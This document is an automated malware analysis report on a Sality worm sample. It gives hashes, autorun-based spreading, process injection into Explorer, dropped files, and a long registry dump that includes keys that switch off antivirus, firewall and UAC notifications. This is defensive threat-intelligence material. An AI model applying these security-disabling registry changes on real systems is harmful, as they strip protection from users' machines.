Win32.Sality.3 (B) (Emsisoft), Win32.Sality.3 (AdAware), Virus.Win32.Sality.FD, Virus.Win32.Sality.2.FD, VirusSality.YR, GenericAutorunWorm.YR, GenericInjector.YR (Lavasoft MAS)Behaviour: Worm, Virus, WormAutorun
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: 4d873a111c8d168a19c30a330b6282b8
SHA1: 0b3e0720d3bf94714589df11cc62675164716bd3
SHA256: abff56e97ddba25366250014da7916ce8e81ac016c5ba1cb5fc06382f195eac6
SSDeep: 12288:mrLJzZnaGD5 UxMb1s15Ap/G/8/3D0Fw/tN8dkmLtpHHHrh7 hG2biY:mJ1Qvb6j8/z0FmcLbH1j0L
Size: 665400 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: TODO:
Created at: 2009-12-06 00:52:01
Analyzed on: WindowsXP SP3 32-bit
Summary: Worm. A program that is primarily replicating on networks or removable drives.
Dynamic Analysis
Payload
| Behaviour | Description |
|---|---|
| WormAutorun | A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Worm's file once a user opens a drive's folder in Windows Explorer. |
Process activity
The Worm creates the following process(es):
%original file name%.exe:860
AppEnable.mg.exe:1092
The Worm injects its code into the following process(es):
Explorer.EXE:1572
Mutexes
The following mutexes were created/opened:No objects were found.
File activity
The process %original file name%.exe:860 makes changes in the file system.
The Worm creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\U0G00V7L\desktop.ini (67 bytes)
%WinDir%\system.ini (70 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\ns4.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AppEnable\mj (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AppEnable\tlg (41 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\nsJSON.dll (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\nsExec.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\RSBS108J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\ExecDos.dll (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\WmiInspector.dll (3039 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AppEnable\lm (128 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\9MI85F21\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\IpConfig.dll (4136 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\NSISEncrypt.dll (3286 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AppEnable\AppEnable.mg.exe (7533 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\inetc.dll (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\UserInfo.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\00072364_Rar\%original file name%.exe (4545 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\ns3.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ilg (263456 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ODG5ST95\desktop.ini (67 bytes)
The Worm deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\nsJSON.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\nsExec.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AppEnable\mj (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\WmiInspector.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\UserInfo.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\inetc.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\ns4.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AppEnable\AppEnable.mg.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\IpConfig.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\ns3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ilg (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\NSISEncrypt.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\ExecDos.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AppEnable\lm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AppEnable\tlg (0 bytes)
Registry activity
The process %original file name%.exe:860 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:
[HKCU\Software\Aas]
"a4_440" = "3154413240"
"a3_694" = "697136351"
"a2_348" = "2494852592"
"a2_349" = "2502021075"
"a2_346" = "2480520333"
"a2_347" = "2487686913"
"a2_344" = "2466182607"
"a2_345" = "2473354836"
"a2_342" = "2451848284"
"a2_343" = "2459000358"
"a2_340" = "2437498720"
"a2_341" = "2444668706"
"a2_180" = "1290439859"
"a2_181" = "1297608242"
"a2_182" = "1304774293"
"a2_183" = "1311955628"
"a2_184" = "1319109686"
"a2_185" = "1326290380"
"a2_186" = "1333459393"
"a2_187" = "1340622656"
"a2_188" = "1347791963"
"a2_189" = "1354957403"
"a4_444" = "3183089724"
"a3_789" = "1344615644"
"a3_788" = "1371246781"
[HKLM\SOFTWARE\Microsoft\Security Center]
"AntiVirusOverride" = "1"
[HKCU\Software\Aas]
"a2_749" = "1074706422"
"a2_742" = "1024518873"
"a2_743" = "1031687504"
"a2_740" = "1010185987"
"a2_741" = "1017353780"
"a2_746" = "1053203901"
"a2_747" = "1060372176"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Aas]
"a2_745" = "1046021162"
"a1_503" = "4002179237"
"a1_502" = "2339388992"
"a1_501" = "1548907886"
"a1_500" = "2220524488"
"a1_507" = "1490981494"
"a1_506" = "2003454435"
"a1_505" = "2771022340"
"a1_504" = "1613869473"
"a1_509" = "1693312641"
"a1_508" = "2843460032"
"a3_659" = "412749722"
"a3_658" = "405760891"
"a4_844" = "1755770828"
"a1_946" = "1862264604"
"a3_78" = "542637991"
"a3_79" = "549622726"
"a3_72" = "533156193"
"a3_73" = "506656128"
"a3_70" = "485103791"
"a3_71" = "525712590"
"a3_76" = "561686245"
"a3_77" = "568613636"
"a3_74" = "513568291"
"a3_75" = "554631746"
"a3_259" = "1873798154"
"a3_258" = "1866220523"
"a1_435" = "903226510"
"a1_434" = "2726320687"
"a1_433" = "1798659545"
"a1_432" = "3405852142"
"a1_431" = "4244701979"
"a1_430" = "3101998160"
"a3_251" = "1782710578"
"a3_250" = "1809280147"
"a3_253" = "1830771188"
"a3_252" = "1789764949"
"a3_255" = "1844811446"
"a3_254" = "1837822487"
"a3_257" = "1825746760"
"a3_256" = "1818692393"
"a3_784" = "1308623673"
"a3_783" = "1335193222"
"a3_782" = "1328269927"
"a3_781" = "1287147972"
"a1_636" = "2741705131"
"a3_321" = "2284435336"
"a3_320" = "2310935401"
"a3_323" = "2332478538"
"a3_322" = "2291869739"
"a3_325" = "2346910988"
"a3_324" = "2339397869"
"a3_327" = "2327338446"
"a3_326" = "2320415151"
"a3_329" = "2375379584"
"a3_328" = "2368468577"
"a3_971" = "2682835394"
"a1_729" = "2898898038"
"a1_728" = "1581160219"
"a3_439" = "3130280062"
"a3_438" = "3123369951"
"a3_435" = "3101883130"
"a3_434" = "3094824539"
"a3_437" = "3149870012"
"a3_436" = "3142426397"
"a3_431" = "3106444646"
"a3_430" = "3065901255"
"a3_433" = "3087376952"
"a3_432" = "3113879961"
"a4_818" = "1569373682"
"a4_819" = "1576542803"
"a4_810" = "1512020714"
"a4_811" = "1519189835"
"a4_812" = "1526358956"
"a4_813" = "1533528077"
"a4_814" = "1540697198"
"a4_815" = "1547866319"
"a4_816" = "1555035440"
"a4_817" = "1562204561"
"a1_670" = "652594315"
"a2_748" = "1067539547"
"a1_593" = "3043098340"
"a3_94" = "690598327"
"a3_95" = "698045910"
"a3_96" = "671534665"
"a3_97" = "678453992"
"a3_90" = "662052915"
"a3_91" = "669107282"
"a3_92" = "643004661"
"a3_93" = "649993492"
"a3_98" = "685967115"
"a3_99" = "726580138"
"a4_605" = "42350909"
"a4_604" = "35181788"
"a4_607" = "56689151"
"a4_606" = "49520030"
"a4_601" = "13674425"
"a4_600" = "6505304"
"a4_603" = "28012667"
"a4_602" = "20843546"
"a4_979" = "2723602163"
"a4_978" = "2716433042"
"a4_609" = "71027393"
"a4_608" = "63858272"
"a1_987" = "4275171476"
"a1_986" = "1183992552"
"a1_985" = "1451048983"
"a1_984" = "1065295278"
"a1_983" = "4131670602"
"a1_982" = "157231716"
"a1_981" = "810355933"
"a1_980" = "2020251909"
"a1_989" = "1848264055"
"a1_988" = "780082689"
"a3_869" = "1918293868"
"a2_744" = "1038852487"
"a1_855" = "3956582828"
"a3_655" = "383827462"
"a1_857" = "3285990132"
"a1_856" = "1758354265"
"a1_851" = "705497121"
"a1_850" = "425954634"
"a1_853" = "1850296920"
"a3_654" = "376767975"
"a1_859" = "1923456041"
"a3_657" = "431879896"
"a4_779" = "1289777963"
"a4_778" = "1282608842"
"a3_929" = "2381983272"
"a3_656" = "424825529"
[HKLM\SOFTWARE\Microsoft\Security Center]
"FirewallOverride" = "1"
[HKCU\Software\Aas]
"a4_771" = "1232424995"
"a3_651" = "388835458"
"a4_773" = "1246763237"
"a4_772" = "1239594116"
"a4_775" = "1261101479"
"a4_774" = "1253932358"
"a4_777" = "1275439721"
"a3_650" = "348370019"
"a3_653" = "369779012"
"a3_652" = "395889957"
"a4_151" = "1082537271"
"a4_150" = "1075368150"
"a4_153" = "1096875513"
"a4_152" = "1089706392"
"a4_155" = "1111213755"
"a4_154" = "1104044634"
"a4_157" = "1125551997"
"a4_156" = "1118382876"
"a4_159" = "1139890239"
"a4_158" = "1132721118"
"a1_185" = "1837264332"
"a1_184" = "381615072"
"a1_183" = "2504795406"
"a1_182" = "369503915"
"a1_181" = "2387147816"
"a1_180" = "3552716138"
"a1_963" = "279932453"
"a4_559" = "4007538639"
"a4_558" = "4000369518"
"a4_555" = "3978862155"
"a4_554" = "3971693034"
"a4_557" = "3993200397"
"a4_556" = "3986031276"
"a4_551" = "3950185671"
"a4_550" = "3943016550"
"a4_553" = "3964523913"
"a4_552" = "3957354792"
"a1_753" = "3211768591"
"a4_824" = "1612388408"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Aas]
"a4_392" = "2810295432"
"a4_391" = "2803126311"
"a4_390" = "2795957190"
"a4_397" = "2846141037"
"a4_396" = "2838971916"
"a4_395" = "2831802795"
"a4_394" = "2824633674"
"a4_399" = "2860479279"
"a4_398" = "2853310158"
"a4_865" = "1906322369"
"a4_864" = "1899153248"
"a4_867" = "1920660611"
"a1_932" = "2329215595"
"a4_866" = "1913491490"
"a1_933" = "3925253173"
"a4_861" = "1877645885"
"a3_758" = "1122262303"
"a4_860" = "1870476764"
"a1_931" = "4044046748"
"a4_863" = "1891984127"
"a1_936" = "3555627443"
"a4_862" = "1884815006"
"a1_937" = "1764492339"
"a2_405" = "2903496014"
"a2_404" = "2896316985"
"a2_407" = "2917830088"
"a2_406" = "2910660167"
"a2_401" = "2874809915"
"a2_400" = "2867655258"
"a2_403" = "2889161232"
"a2_402" = "2881994013"
"a1_935" = "3396037395"
"a2_409" = "2932162873"
"a2_408" = "2924995395"
"a2_975" = "2694927439"
"a2_974" = "2687748643"
"a2_977" = "2709262316"
"a2_976" = "2702092632"
"a2_971" = "2666243317"
"a2_970" = "2659077658"
"a2_973" = "2680593422"
"a4_896" = "2128565120"
"a2_979" = "2723594403"
"a2_978" = "2716427805"
"a1_222" = "1268710818"
"a1_223" = "646711602"
"a1_220" = "1920938287"
"a1_221" = "788696036"
"a1_226" = "590673436"
"a1_227" = "1757121373"
"a1_224" = "1387379903"
"a1_225" = "3347959957"
"a1_228" = "1929360763"
"a1_229" = "3075412475"
"a2_998" = "2859812684"
"a2_993" = "2823965636"
"a2_992" = "2816792247"
"a2_991" = "2809628339"
"a2_990" = "2802463351"
"a2_997" = "2852638440"
"a2_996" = "2845479047"
"a2_995" = "2838314396"
"a2_994" = "2831145071"
"a2_579" = "4150923379"
"a2_578" = "4143756306"
"a2_571" = "4093574252"
"a2_570" = "4086393094"
"a2_573" = "4107908834"
"a2_572" = "4100745437"
"a2_575" = "4122241935"
"a2_574" = "4115083551"
"a2_577" = "4136576890"
"a2_576" = "4129410346"
"a2_351" = "2516368408"
"a2_350" = "2509186073"
"a2_353" = "2530725138"
"a2_352" = "2523539021"
"a2_355" = "2545036221"
"a2_354" = "2537872234"
"a2_357" = "2559370502"
"a2_356" = "2552201648"
"a2_359" = "2573720948"
"a2_358" = "2566539980"
"a3_906" = "2183550307"
"a3_622" = "147491207"
"a2_193" = "1383642169"
"a2_192" = "1376476134"
"a2_191" = "1369309106"
"a2_190" = "1362125099"
"a2_197" = "1412331794"
"a2_196" = "1405141218"
"a2_195" = "1397973909"
"a2_194" = "1390807129"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKCU\Software\Aas]
"a3_624" = "195544665"
"a2_199" = "1426657376"
"a2_198" = "1419477804"
"a3_625" = "168917752"
"a2_759" = "1146390122"
"a3_626" = "175906587"
"a2_755" = "1117721954"
"a2_754" = "1110554892"
"a2_757" = "1132053656"
"a3_627" = "183481274"
"a2_751" = "1089034676"
"a2_750" = "1081872341"
"a2_753" = "1103387820"
"a2_752" = "1096205930"
"a1_536" = "1898093126"
"a1_537" = "3194628394"
"a1_534" = "1585942136"
"a1_535" = "3899637195"
"a1_89" = "3231239904"
"a1_88" = "380032519"
"a1_530" = "3646141541"
"a1_531" = "1385041015"
"a1_85" = "336629896"
"a1_84" = "1060172304"
"a1_87" = "2151689113"
"a1_86" = "3150302155"
"a1_81" = "1919599756"
"a1_80" = "4122152733"
"a1_83" = "1071778511"
"a1_82" = "658770251"
"a3_914" = "2274560123"
"a2_898" = "2142898569"
"a1_896" = "2541323836"
"a1_890" = "2653097321"
"a2_899" = "2150077710"
"a1_67" = "2032341271"
"a1_66" = "1368364762"
"a1_65" = "3174999408"
"a3_133" = "970345548"
"a1_63" = "1042573190"
"a3_135" = "950830350"
"a3_136" = "991836577"
"a1_60" = "1532327680"
"a3_138" = "1006335587"
"a3_139" = "979823234"
"a3_684" = "625694981"
"a1_438" = "2698616629"
"a3_682" = "577634371"
"a3_683" = "584688866"
"a1_69" = "1076699772"
"a1_68" = "842042525"
"a3_228" = "1617824845"
"a3_229" = "1624875244"
"a3_224" = "1588903625"
"a3_225" = "1629901672"
"a3_226" = "1636956043"
"a3_227" = "1610836010"
"a3_220" = "1593911669"
"a3_221" = "1600966036"
"a3_222" = "1608410679"
"a3_223" = "1581849174"
"a1_408" = "2979039425"
"a1_409" = "4177696190"
"a1_402" = "2922952942"
"a1_403" = "1740745964"
"a1_400" = "3707220414"
"a1_401" = "641609807"
"a1_406" = "3768954986"
"a1_407" = "1449154668"
"a1_404" = "3182010805"
"a1_405" = "3095980485"
"a2_823" = "1605215280"
"a2_822" = "1598057793"
"a2_821" = "1590882538"
"a3_354" = "2521277451"
"a3_355" = "2528204970"
"a3_356" = "2568813773"
"a3_357" = "2576322924"
"a3_350" = "2492225207"
"a3_351" = "2499791574"
"a3_352" = "2540269385"
"a3_353" = "2547254248"
"a2_827" = "1633901168"
"a1_628" = "2259635113"
"a3_358" = "2583246223"
"a3_359" = "2556735022"
"a1_854" = "2813513865"
"a2_826" = "1626733971"
"a2_825" = "1619550745"
"a1_718" = "2451667911"
"a1_719" = "452567344"
"a1_716" = "3811238161"
"a1_717" = "2650187491"
"a1_714" = "4145963841"
"a1_715" = "1588126640"
"a1_712" = "3650557466"
"a1_713" = "2040490359"
"a1_710" = "880605534"
"a1_711" = "2499524570"
"a4_809" = "1504851593"
"a4_808" = "1497682472"
"a4_803" = "1461836867"
"a1_629" = "3745739082"
"a4_801" = "1447498625"
"a4_800" = "1440329504"
"a4_807" = "1490513351"
"a4_806" = "1483344230"
"a4_805" = "1476175109"
"a4_804" = "1469005988"
"a4_37" = "265257477"
"a4_36" = "258088356"
"a4_35" = "250919235"
"a4_34" = "243750114"
"a4_33" = "236580993"
"a4_32" = "229411872"
"a4_31" = "222242751"
"a4_30" = "215073630"
"a4_144" = "1032353424"
"a4_39" = "279595719"
"a4_38" = "272426598"
"a3_915" = "2281614490"
"a4_843" = "1748601707"
"a3_142" = "1034864615"
"a4_946" = "2487021170"
"a4_947" = "2494190291"
"a4_944" = "2472682928"
"a4_945" = "2479852049"
"a4_942" = "2458344686"
"a4_943" = "2465513807"
"a4_940" = "2444006444"
"a4_941" = "2451175565"
"a4_948" = "2501359412"
[HKCU\Software\Aas\695404737]
"28676484" = "35"
[HKCU\Software\Aas]
"a4_498" = "3570222258"
"a4_499" = "3577391379"
"a4_494" = "3541545774"
"a4_495" = "3548714895"
"a4_496" = "3555884016"
"a4_497" = "3563053137"
"a4_490" = "3512869290"
"a4_491" = "3520038411"
"a4_492" = "3527207532"
"a4_493" = "3534376653"
"a3_448" = "3194799081"
"a3_449" = "3202245640"
"a2_941" = "2451169762"
"a4_708" = "780770372"
"a4_709" = "787939493"
"a3_918" = "2303105535"
"a3_919" = "2310025758"
"a4_704" = "752093888"
"a4_705" = "759263009"
"a4_706" = "766432130"
"a4_707" = "773601251"
[HKLM\SOFTWARE\Microsoft\Security Center\Svc]
"UacDisableNotify" = "1"
[HKCU\Software\Aas]
"a4_701" = "730586525"
"a4_702" = "737755646"
"a4_703" = "744924767"
"a1_888" = "3805184293"
"a1_889" = "1883212422"
"a1_886" = "1260323045"
"a1_887" = "1610551725"
"a1_884" = "2925974189"
"a1_885" = "3065341264"
"a1_882" = "1541439853"
"a1_883" = "4271418921"
"a1_880" = "1843487397"
"a1_881" = "1774667370"
"a4_124" = "888971004"
"a4_125" = "896140125"
"a4_126" = "903309246"
"a4_127" = "910478367"
"a4_120" = "860294520"
"a4_121" = "867463641"
"a4_122" = "874632762"
"a4_123" = "881801883"
"a4_128" = "917647488"
"a4_129" = "924816609"
"a2_593" = "4251296998"
"a3_444" = "3166269973"
"a3_445" = "3206813364"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKCU\Software\Aas]
"a1_831" = "1939356042"
"a2_592" = "4244125239"
"a1_930" = "3010084144"
"a1_948" = "1197094173"
"a4_238" = "1706250798"
"a4_239" = "1713419919"
"a4_230" = "1648897830"
"a4_231" = "1656066951"
"a4_232" = "1663236072"
"a4_233" = "1670405193"
"a4_234" = "1677574314"
"a4_235" = "1684743435"
"a4_236" = "1691912556"
"a4_237" = "1699081677"
"a1_480" = "2252327348"
"a1_723" = "3889233341"
"a1_722" = "1830764329"
"a1_721" = "3578661993"
"a1_720" = "63846404"
"a1_768" = "794250831"
"a1_727" = "2850517816"
"a1_726" = "3557636909"
"a2_643" = "314770262"
"a2_790" = "1368644300"
"a1_725" = "2101183429"
"a2_642" = "307601665"
"a1_724" = "4082381946"
"a2_641" = "300436134"
"a2_640" = "293268647"
"a2_647" = "343445727"
"a2_646" = "336286809"
"a1_158" = "168614279"
"a1_159" = "2755321703"
"a2_645" = "329119240"
"a1_150" = "1677174411"
"a1_151" = "2147183974"
"a1_152" = "1749146567"
"a1_153" = "968403622"
"a1_154" = "840553760"
"a1_155" = "4274862089"
"a1_156" = "3018149170"
"a1_157" = "3277014015"
"a1_235" = "2316919124"
"a1_234" = "781278452"
"a1_237" = "1426733848"
"a1_236" = "1871949109"
"a1_231" = "2305894969"
"a1_230" = "3645761176"
"a1_233" = "1046404483"
"a1_232" = "1134825649"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"
[HKCU\Software\Aas]
"a1_239" = "3329795294"
"a1_238" = "3464602745"
"a2_210" = "1505509613"
"a2_211" = "1512680688"
"a2_212" = "1519846279"
"a2_213" = "1527027270"
"a2_214" = "1534194717"
"a2_215" = "1541362799"
"a2_216" = "1548528167"
"a2_217" = "1555707502"
"a2_218" = "1562863409"
"a2_219" = "1570031587"
"a1_966" = "13764121"
"a2_508" = "3641913072"
"a2_509" = "3649079642"
"a2_504" = "3613229839"
"a2_505" = "3620411986"
"a2_506" = "3627581155"
"a2_507" = "3634752004"
"a2_500" = "3584562203"
"a2_501" = "3591721720"
"a2_502" = "3598906855"
"a2_503" = "3606059568"
"a2_791" = "1375810302"
"a2_698" = "709078101"
"a2_699" = "716245643"
"a2_694" = "680397193"
"a2_695" = "687578582"
"a2_696" = "694745219"
"a2_697" = "701912702"
"a2_690" = "651727613"
"a2_691" = "658887324"
"a2_692" = "666061011"
"a2_693" = "673227840"
"a2_324" = "2322800392"
"a2_325" = "2329965322"
"a2_326" = "2337130906"
"a2_327" = "2344298896"
"a2_320" = "2294116172"
"a2_321" = "2301283298"
"a2_322" = "2308462689"
"a2_323" = "2315631496"
"a1_521" = "3039600671"
"a1_520" = "168381917"
"a1_523" = "4045400602"
"a1_522" = "1520230294"
"a2_328" = "2351464711"
"a2_329" = "2358647831"
"a1_527" = "1301954333"
"a1_526" = "3329708955"
"a2_799" = "1433161944"
"a1_998" = "2711508381"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKCU\Software\Aas]
"a2_798" = "1425996410"
"a4_962" = "2601727106"
"a1_98" = "136322683"
"a1_99" = "3309589590"
"a1_92" = "3011385887"
"a1_93" = "3834235244"
"a1_90" = "3739977368"
"a1_91" = "3196834615"
"a1_96" = "3974066908"
"a1_97" = "1731556236"
"a1_94" = "1424957602"
"a1_95" = "1933183145"
"a1_74" = "634769102"
"a1_75" = "1334875566"
"a1_76" = "844764680"
"a1_77" = "865832306"
"a1_70" = "1991456444"
"a1_71" = "3679665331"
"a1_72" = "1253540125"
"a1_73" = "3074835568"
"a3_699" = "733118194"
"a3_698" = "725670483"
"a3_129" = "907869896"
"a3_128" = "934369961"
"a1_78" = "3741743264"
"a1_79" = "3411756076"
"a3_239" = "1730403494"
"a3_238" = "1689270279"
"a3_237" = "1682343908"
"a3_236" = "1708909381"
"a3_235" = "1701334818"
"a3_234" = "1660856963"
"a3_233" = "1653814880"
"a3_232" = "1646370241"
"a3_231" = "1672935854"
"a3_230" = "1665877263"
"a1_419" = "2600195741"
"a1_418" = "3360220697"
"a3_953" = "2520368944"
"a1_415" = "4147693680"
"a1_414" = "3609378916"
"a1_417" = "625078365"
"a1_416" = "475090455"
"a1_411" = "3445116406"
"a1_410" = "80472323"
"a1_413" = "898308107"
"a1_412" = "1803679091"
"a3_939" = "2419869154"
"a3_347" = "2504287570"
"a3_346" = "2463809843"
"a3_345" = "2456759440"
"a3_344" = "2482866289"
"a3_343" = "2475825118"
"a3_342" = "2468836287"
"a3_341" = "2427838236"
"a3_340" = "2420783869"
"a3_349" = "2485301780"
"a3_348" = "2511804917"
"a1_701" = "3677670084"
"a1_700" = "222873954"
"a1_703" = "884600964"
"a1_702" = "2229239712"
"a1_705" = "3171900917"
"a1_704" = "2806496011"
"a1_707" = "868879741"
"a1_706" = "2877822194"
"a1_709" = "4229224944"
"a1_708" = "1057585733"
"a2_360" = "2580885669"
"a4_838" = "1712756102"
"a2_361" = "2588060138"
"a4_836" = "1698417860"
"a4_837" = "1705586981"
"a4_834" = "1684079618"
"a4_835" = "1691248739"
"a4_832" = "1669741376"
"a2_362" = "2595221468"
"a4_830" = "1655403134"
"a4_831" = "1662572255"
"a4_24" = "172058904"
"a4_25" = "179228025"
"a4_26" = "186397146"
"a4_27" = "193566267"
"a4_20" = "143382420"
"a4_21" = "150551541"
"a4_22" = "157720662"
"a4_23" = "164889783"
"a4_951" = "2522866775"
"a2_364" = "2609557035"
"a4_953" = "2537205017"
"a4_952" = "2530035896"
"a4_28" = "200735388"
"a4_29" = "207904509"
"a4_957" = "2565881501"
"a2_365" = "2616723194"
"a2_366" = "2623904393"
"a2_367" = "2631073008"
"a1_743" = "331458302"
"a2_168" = "1204420511"
"a2_169" = "1211584769"
"a4_847" = "1777278191"
"a4_489" = "3505700169"
"a4_488" = "3498531048"
"a4_487" = "3491361927"
"a4_486" = "3484192806"
"a4_485" = "3477023685"
"a4_484" = "3469854564"
"a4_483" = "3462685443"
"a4_482" = "3455516322"
"a4_481" = "3448347201"
"a4_480" = "3441178080"
"a2_160" = "1147053442"
"a4_973" = "2680587437"
"a2_161" = "1154234178"
"a4_977" = "2709263921"
"a4_972" = "2673418316"
"a4_971" = "2666249195"
"a3_901" = "2147558220"
"a3_900" = "2174193453"
"a3_903" = "2162063374"
"a3_902" = "2154612719"
"a3_905" = "2209657024"
"a3_904" = "2202606753"
"a4_719" = "859630703"
"a4_718" = "852461582"
"a4_717" = "845292461"
"a4_716" = "838123340"
"a4_715" = "830954219"
"a4_714" = "823785098"
"a4_713" = "816615977"
"a4_712" = "809446856"
"a4_711" = "802277735"
"a4_710" = "795108614"
"a1_891" = "3532986572"
"a3_776" = "1251683361"
"a1_893" = "1652761614"
"a1_892" = "1352561058"
"a1_895" = "3971532881"
"a1_894" = "694984379"
"a1_897" = "1866811616"
"a3_777" = "1292288064"
"a1_899" = "1132423953"
"a1_898" = "892023835"
"a4_974" = "2687756558"
"a3_774" = "1270749039"
"a4_137" = "982169577"
"a4_136" = "975000456"
"a4_135" = "967831335"
"a4_134" = "960662214"
"a4_133" = "953493093"
"a4_132" = "946323972"
"a4_131" = "939154851"
"a4_130" = "931985730"
"a3_772" = "1222762157"
"a4_139" = "996507819"
"a4_138" = "989338698"
"a4_975" = "2694925679"
"a3_770" = "1208254955"
"a3_771" = "1215707658"
"a2_455" = "3261953812"
"a1_617" = "1174014986"
"a4_229" = "1641728709"
"a4_228" = "1634559588"
"a4_223" = "1598713983"
"a4_222" = "1591544862"
"a4_221" = "1584375741"
"a4_220" = "1577206620"
"a4_227" = "1627390467"
"a4_226" = "1620221346"
"a4_225" = "1613052225"
"a4_224" = "1605883104"
"a1_615" = "3676667066"
"a2_459" = "3290620950"
"a3_678" = "548713167"
"a1_614" = "858611915"
"a1_820" = "2740444665"
"a1_821" = "1499673933"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Aas]
"a1_822" = "3953555724"
"a1_149" = "3954723384"
"a1_148" = "331475912"
"a1_143" = "1636052331"
"a1_142" = "788060056"
"a1_141" = "1907692579"
"a1_140" = "3988338360"
"a1_147" = "4067680014"
"a1_146" = "3428432096"
"a1_145" = "2920609081"
"a1_144" = "51431374"
"a1_826" = "1942550830"
"a1_827" = "142228492"
"a2_203" = "1455326628"
"a2_202" = "1448157700"
"a2_201" = "1440990531"
"a2_200" = "1433826799"
"a2_207" = "1484010880"
"a2_206" = "1476844517"
"a2_205" = "1469676492"
"a2_204" = "1462492831"
"a2_209" = "1498344040"
"a2_208" = "1491179338"
"a2_519" = "3720779264"
"a2_518" = "3713598481"
"a2_517" = "3706429594"
"a2_516" = "3699263855"
"a2_515" = "3692098819"
"a2_514" = "3684932881"
"a2_513" = "3677774863"
"a2_512" = "3670594799"
"a2_511" = "3663413301"
"a2_510" = "3656212313"
"a2_689" = "644560351"
"a2_688" = "637393597"
"a2_687" = "630224563"
"a2_686" = "623043113"
"a2_685" = "615878167"
"a2_684" = "608709361"
"a2_683" = "601545027"
"a2_682" = "594375547"
"a2_681" = "587210390"
"a2_680" = "580042006"
"a2_337" = "2416000566"
"a2_336" = "2408818185"
"a2_335" = "2401649794"
"a2_334" = "2394483361"
"a2_333" = "2387314040"
"a2_332" = "2380149581"
"a2_331" = "2372980912"
"a2_330" = "2365815260"
"a1_554" = "187992247"
"a1_555" = "1663665399"
"a1_556" = "4066833904"
"a1_557" = "1960800268"
"a3_242" = "1718323611"
"a1_551" = "2880341406"
"a2_339" = "2430335631"
"a2_338" = "2423165069"
"a4_673" = "529851137"
"a1_918" = "2467092587"
"a1_919" = "2991552878"
"a3_243" = "1725243962"
"a1_852" = "3009377530"
"a1_914" = "966069228"
"a1_398" = "3828819943"
"a1_399" = "3031549998"
